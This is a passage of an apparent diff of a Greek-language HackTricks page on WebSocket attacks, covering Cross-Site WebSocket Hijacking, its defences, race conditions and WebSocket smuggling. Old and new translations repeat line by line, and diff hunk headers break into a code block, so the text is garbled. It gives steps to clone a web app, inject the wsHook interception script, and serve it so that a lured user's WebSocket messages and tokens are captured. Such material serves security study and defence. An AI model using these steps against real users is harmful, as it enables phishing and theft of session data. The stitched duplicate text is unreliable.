Σε αυτό το blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε subdomain** του domain όπου γινόταν η websocket επικοινωνία. Επειδή ήταν **subdomain**, το **cookie** αποστέλλονταν, και επειδή ο **Websocket** δεν έλεγχε σωστά το **Origin**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens**.
### Stealing data from user
### Κλοπή δεδομένων από τον χρήστη
Αντιγράψτε την εφαρμογή ιστού που θέλετε να προσποιηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα:
Αντιγράψτε την web εφαρμογή που θέλετε να προσποιηθείτε (π.χ. τα .html αρχεία) και μέσα στο script όπου γίνεται η websocket επικοινωνία προσθέστε αυτόν τον κώδικα:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
@ -148,34 +265,35 @@ xhttp.send()
return messageEvent
}
```
Τώρα κατεβάστε το `wsHook.js` αρχείο από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού**.\
Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket:
Κατεβάστε τώρα το αρχείο `wsHook.js` από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα web αρχεία**.\
Εκθέτοντας την web εφαρμογή και κάνοντας έναν χρήστη να συνδεθεί σε αυτή, θα μπορείτε να υποκλέψετε τα απεσταλμένα και ληφθέντα μηνύματα μέσω websocket:
```javascript
sudo python3 -m http.server 80
```
### CSWSH Προστασίες
### CSWSH Μέτρα Προστασίας
Η επίθεση CSWSH βασίζεται στο γεγονός ότι ένας **χρήστης θα συνδεθεί σε μια κακόβουλη σελίδα** που θα **ανοίξει μια σύνδεση websocket** σε μια ιστοσελίδα στην οποία ο χρήστης είναι ήδη συνδεδεμένος και θα αυθεντικοποιηθεί ως αυτός καθώς το αίτημα θα στείλει τα cookies του χρήστη.
Η επίθεση CSWSH βασίζεται στο γεγονός ότι ένας **χρήστης θα συνδεθεί σε μια κακόβουλη σελίδα** η οποία θα **ανοίξει μια websocket σύνδεση** σε μια σελίδα όπου ο χρήστης είναι ήδη συνδεδεμένος και θα πιστοποιηθεί ως αυτός, καθώς το αίτημα θα στείλει τα cookies του χρήστη.
Σήμερα, είναι πολύ εύκολο να προληφθεί αυτό το ζήτημα:
Σήμερα, είναι πολύ εύκολο να προληφθεί αυτό το πρόβλημα:
- **Έλεγχος προέλευσης από τον διακομιστή websocket**: Ο διακομιστής websocket θα πρέπει πάντα να ελέγχει από πού συνδέεται ένας χρήστης για να αποτρέψει απροσδόκητες σελίδες να συνδεθούν σε αυτόν.
- **Διακριτικό αυθεντικοποίησης**: Αντί να βασίζεται η αυθεντικοποίηση σε ένα cookie, η σύνδεση websocket θα μπορούσε να βασίζεται σε ένα διακριτικό που δημιουργείται από τον διακομιστή για τον χρήστη άγνωστο στον επιτιθέμενο (όπως ένα διακριτικό κατά της CSRF).
- **Χαρακτηριστικό Cookie SameSite**: Τα cookies με τιμή `SameSite` ως `Lax` ή `Strict` δεν θα σταλούν από μια εξωτερική σελίδα επιτιθέμενου στον διακομιστή του θύματος, επομένως, η αυθεντικοποίηση με βάση τα cookies δεν θα είναι επιτυχής. Σημειώστε ότι το Chrome τώρα θέτει την τιμή **`Lax`** στα cookies χωρίς αυτή τη σημαία, καθιστώντας το πιο ασφαλές από προεπιλογή. Ωστόσο, τα πρώτα 2 λεπτά που δημιουργείται ένα cookie θα έχει την τιμή **`None`**, καθιστώντας το ευάλωτο κατά τη διάρκεια αυτής της περιορισμένης περιόδου (αναμένεται επίσης ότι αυτό το μέτρο θα καταργηθεί κάποια στιγμή).
- **Προστασία Cookies Total του Firefox**: Η Total Cookie Protection λειτουργεί απομονώνοντας τα cookies στη σελίδα στην οποία δημιουργούνται. Ουσιαστικά, κάθε σελίδα έχει το δικό της διαμέρισμα αποθήκευσης cookies για να αποτρέψει τρίτους να συνδέσουν την ιστορικό περιήγησης ενός χρήστη. Αυτό καθιστά **αδύνατη την CSWSH** καθώς η σελίδα των επιτιθέμενων δεν θα έχει πρόσβαση στα cookies.
- **Φραγή τρίτων cookies του Chrome**: Αυτό θα μπορούσε επίσης να αποτρέψει την αποστολή του cookie του αυθεντικοποιημένου χρήστη στον διακομιστή websocket ακόμη και με `SameSite=None`.
- **Websocket server checking the origin**: Ο websocket server θα πρέπει πάντα να ελέγχει από πού συνδέεται ένας χρήστης για να αποτρέψει απρόσμενες σελίδες από το να συνδεθούν σε αυτόν.
- **Authentication token**: Αντί να βασίζεται η αυθεντικοποίηση σε cookie, η websocket σύνδεση μπορεί να βασίζεται σε ένα token που παράγεται από τον server για τον χρήστη και είναι άγνωστο στον attacker (όπως ένα anti-CSRF token).
- **SameSite Cookie attribute**: Τα cookies με `SameSite` τιμή `Lax` ή `Strict` δεν θα σταλούν από μια εξωτερική σελίδα attacker στον server του θύματος, επομένως η αυθεντικοποίηση με cookie δεν θα είναι επιτυχής. Σημειώστε ότι το Chrome πλέον θέτει την τιμή **`Lax`** στα cookies που δεν έχουν καθορισμένη αυτή τη σημαία, καθιστώντας τα πιο ασφαλή εξ ορισμού. Ωστόσο, για τα πρώτα 2 λεπτά μετά τη δημιουργία ενός cookie θα έχει την τιμή **`None`**, κάνοντάς το ευάλωτο κατά τη διάρκεια αυτής της περιορισμένης περιόδου (επίσης αναμένεται ότι αυτό το μέτρο θα αφαιρεθεί κάποια στιγμή).
- **Firefox Total Cookie Protection**: Το Total Cookie Protection λειτουργεί απομονώνοντας τα cookies στον ιστότοπο όπου δημιουργούνται. Ουσιαστικά κάθε site έχει το δικό του χώρο αποθήκευσης cookies για να αποτρέψει τρίτους από το να συνδέουν το ιστορικό περιήγησης ενός χρήστη. Αυτό καθιστά το **CSWSH μη εφαρμόσιμο** καθώς η σελίδα του attacker δεν θα έχει πρόσβαση στα cookies.
- **Chrome third-party cookies block**: Αυτό μπορεί επίσης να αποτρέψει την αποστολή του cookie του αυθεντικοποιημένου χρήστη στον websocket server ακόμη και με `SameSite=None`.
## Συνθήκες Αγώνα
## Race Conditions
Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα ζήτημα, [ελέγξτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
Οι Race Conditions σε WebSockets υπάρχουν επίσης, [δείτε αυτές τις πληροφορίες για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
## Άλλες ευπάθειες
Καθώς τα Web Sockets είναι μηχανισμός για **αποστολή δεδομένων προς τον διακομιστή και τον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση αρκετών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
Εφόσον τα Web Sockets είναι ένας μηχανισμός για να **αποστέλλονται δεδομένα στην πλευρά του server και στην πλευρά του client**, ανάλογα με το πώς ο server και ο client χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση διάφορων άλλων ευπαθειών όπως XSS, SQLi ή οποιασδήποτε άλλης κοινής web ευπάθειας χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
## **WebSocket Smuggling**
Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι μια **επικοινωνία websocket έχει καθιερωθεί** (ακόμη και αν δεν είναι αληθές). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές οντότητες**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:
Αυτή η ευπάθεια μπορεί να σας επιτρέψει να παρακάμψετε τους περιορισμούς των reverse proxies κάνοντάς τους να πιστέψουν ότι μια **websocket communication was established** (ακόμη κι αν δεν ισχύει). Αυτό θα μπορούσε να επιτρέψει σε έναν attacker να αποκτήσει πρόσβαση σε κρυφά endpoints. Για περισσότερες πληροφορίες δείτε την ακόλουθη σελίδα:
{{#ref}}
h2c-smuggling.md
@ -185,5 +303,13 @@ h2c-smuggling.md
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}